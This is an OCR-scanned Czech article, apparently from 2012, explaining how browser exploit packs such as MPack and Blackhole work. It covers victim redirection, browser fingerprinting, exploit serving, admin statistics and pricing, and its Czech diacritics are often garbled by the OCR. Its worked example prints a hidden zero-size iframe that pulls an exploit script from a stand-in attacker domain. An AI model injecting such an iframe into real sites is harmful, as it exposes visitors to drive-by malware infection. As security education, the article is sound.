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Seznamte se - exploitpack

Vlozil/a RubberDuck [1], 14 Za&ri, 2012 - 15:53

e Exploit [2]

"Webové stranky vyznamné spolecnosti XYZ servirovaly navstévnikim java exploity z nechvalné
znamého exploitpacku Blackhole". Presné takové zpravy zdobi prakticky denné titulni stranky
zpravodajskych serverd zamérenych na bezpecnost. Co to ale exploitpack presné je? A kde se vzal?
Presné tuto otdzku ma za Ukol zodpovédét nasledujici ¢lanek.

Exploit pack je automatizovany nastroj pro exploitaci (nejen) webovych prohlizecd. Pack se sklada ze
dvou casti. Klientska ¢ast ma za Ukol nasmérovat obét na serverovou ¢ast. To mlze provést
bezmeznym poctem zplsobl. Mize vyuzit meta tagu HTML jazyka, mUze pouzit iframe (dnes velmi
oblibena technika), mlze pouzit schopnosti javascriptu nebo k témto Ukonlm pripravené aplety. Kéd
nemusi byt vZzdy v pro ¢lovéka &itelné podobé. Uto¢nici radi vyuzivaji tzv. obfuskaci kédu, kdy cely
kéd prevedou do, pro uzivatele, necitelné podoby, ¢imz znesnadni jeho odhaleni lidskym okem, a
hlavné se mizou efektivné vyhnout detektordm antivirovych spole¢nosti. Kvalitni obfuskovaci
generator je jedna z dllezitych véci, jez stoji mezi Uspéchem a neldspéchem.
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Silné obfuskovany exploit Blackhole Packu distribuujici trojana Zeus

Serverova Cast (nejcastéji je mozné se setkat se servery napsanymi v PHP, ale existuji i jiné jako CGl
nebo ASP) obsahuje skript, jehoz Ukolem je co nejpresnéji urcit, co je dana obét zac. Nejvice Utoc¢nika
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zajima, jaky operacni systém (typ a verze) a webovy prohlize¢ (typ, verze, podporované moduly)
obét pouziva. V zavislosti na ziskanych informacich pack zvoli pouzity exploit a 'poskytne' ho
prohlizeci. V pripadé, ze se nejedna o nachylnou verzi, bude se skript tvafrit jakoby nic (zobrazi
chybovou hlasku, pfesméruje uzivatele pry¢, ukonci spojeni...). Pokud je Utok Uspésny, v zavislosti na
pouzitém payloadu, stdhne malware, ¢imz infikuje obét.

MAIN » REFRESH » REFERRERS + COUNTRIES + BLACKLIST CHECK + DOWNLOADER + iFRAME+ CLEAR STATS » SETTINGS » LOGOUT
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Pro zjednoduseni prace Utocnika obsahuji packy administratorské rozhrani. Kromé takovych véci jako
je seznam exploitd dostupnych pro dany pack, generator klientské ¢asti, obsahuje vétsinou taktéz
velmi podrobné statistiky. Z téchto statistik je mozné vycist, kolik lidi celkem navstivilo servirovaci
skript, kolik jich bylo vyhodnoceno jako potencialni cil pro dany exploit, a kolik jich skute¢né
infikovdno bylo. Pro kvalitu exploitu mluvi pravé pomér potencidlnich a skutecnych obéti. Mezi
Uto¢niky se udava v procentech. Cim vys$si kvalita, tim vy$si procentudini ratio. Vétsina dostupnych
exploitl z verejnych packd ma ratio do 10% (jedna realna infekce na deset potencialnich),
maximalné 15%. Vyjimku tvofi tzv. 0Oday exploity. V téchto pfipadech je mozné se dostat hodné pres
90% (devét realnych infekci na deset potencidlnich). Ale s takovymi se setkdvame v pripadé packd
velmi zfidka. Precijen je daleko vyhodnéjsi prodat samotny Oday exploit, nez ho pfihodit do packu a

mit jistotu, Zze ho za dva dny mé i konkurence, nebo ho dokonce detekuji antivirové firmy.

V soucasnosti se kromé tradi¢nich chyb ve webovych prohlizecich (zpracovani HTML, javascriptu,
CSS) Utoci rovnéz na PDF Ctecky (Acrobat Reader) a hlavné na Javu. Tolik proklamovana bezpecnost
Javy je v posledni dobé c¢asto teréem posméchu a vycitek, protoze se z ni stadva potencialni problém
¢islo jedna vzhledem k prenositelnosti kédu, ale i chyb ve virtualnich strojich na dalsi platformy.

Ukazkovy priklad ]
Reknéme, ze server www.nicesite.at [3] byl napaden. UtoCnik do Uvodni stranky vlozil nasledujici
kéd:
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<iframe src="http://www.evildomain.at/evilscript.php?key=1234" height="0" width="0"></iframe>
Tento kéd zajisti, ze bude pri nadvstéveé hlavni webové stranky domény www.nicesite.at [3] nactena
rovnéz stranka www.evildomain.at/evilscript.php?key=1234 [4].

PHP skript evilscript.php je konstruovan tak, ze v prvni fadé zapocte prichozi osobu do statistik. Dale
se snazi zjistit o webovém prohlizeci a operacnim systému co mozna nejvice potfebnych informaci,
aby nemusel pfipadné 'pélit naslepo'. Reknéme, Ze obét pouziva FireFox 9 na opera¢nim systému
Windows XP SP3. Ted nastavaji dva mozné scénare: Pack obsahuje exploit prfesné pro tuto chybu. V
tom pripadé evilscript.php zapocitad ndvstévu pro tento exploit a naserviruje tento exploit prohlizedi.
Pokud vSe probéhne tak, jak ma, payload exploitu stdhne malware a pfipoji poclita¢ do svého botnetu
a pack dostane informaci o Uspé&sném spusténi exploitu (kvlli kontrole ratia). V druhém pripadé se v
packu exploit pro tuto verzi nenachdzi. Skript evilscript.php zobrazi chybovou hlasku, ze zadand
adresa neexistuje a ukondi se.
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Jak to zacalo

V prosinci roku 2006 se na cerném trhu objevila do té doby spiSe vzacnd aplikace. Jednalo se o
kolekci exploitll zaclenénych do bali¢cku takovym zplsobem, Ze tento bali¢ek automatizoval Gtoky na
webové prohlizeCe podle danych kritérii. Jednalo se o MPack z ruské dilny. MPack Ize z historického
hlediska povaZovat za otce vSech exploitpackd, i kdyz samotna myslenka je mnohem starsi a
proslycha se, ze prvni exploitpacky lze vysledovat jesté pfiblizné o 4 roky dfive. Autori MPacku se
vlbec nerozpakovali a nasadili relativné vysokou cenu. Zakladni bali¢ek obsahoval priblizné 4
exploity a bylo mozné jej pofidit v cené od 500$% do 1000%$. V pripadé, ze mél uzivatel zajem o
podporu, vysSplhala se cena na 1200%. Protoze 4 exploity neni mnoho, bylo mozné dalsi dokoupit.

v sv

Zde se cena odvijela od kvality a rozsifenosti exploitu. Obecné ale byla cena v rozmezi 50$ az 200$%.
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MPack v0.90 stats

Traffic (total - unig)
IE XP ALL 114721 - 96104 Total traff 159073 - 129089
QuickTime 2175 - 2048 lmln'rtmi 44804 - 35574
Win2000 7033 - 6260 Loads count 17408 - 15968
Firefox 12885 - 12514 Loader's response 33.85% - 44.89%
Opera7 1271 - 1264 Efficiency 10.94% - 12.37%
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Jak to vypada dnes

Dnes tomuto odvétvi pevné vlddne Blackhole Kit. Profesionalni nastroj vytvareny profesionalnim
tymem a s profesiondini podporou. Pokud nahlédnete do statistik domén distribuujicich malware, v
sedmi pripadech z deseti se bude jednat o Blackhole Kit. Mezi populdrni packy z posledni doby lIze
zaradit RedKit (v soucasnosti pomérné dost rozsiren), Phoenix Exploit Pack, Siberia, Neosploit,
Bleeding Life nebo Incognito. Pocet druhl packdl v internetu dnesnich dni Ize odhadovat na stovky az

tisice. Lisi se kvalitou, liSi se cenou, liSi se rozsifenosti. Jednu véc maji ale stejnou: Nikdy nevite, kde
vas nenapadné zachyti svou niti a za¢nou vas pozvolna omotavat.
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BlackHole Pack
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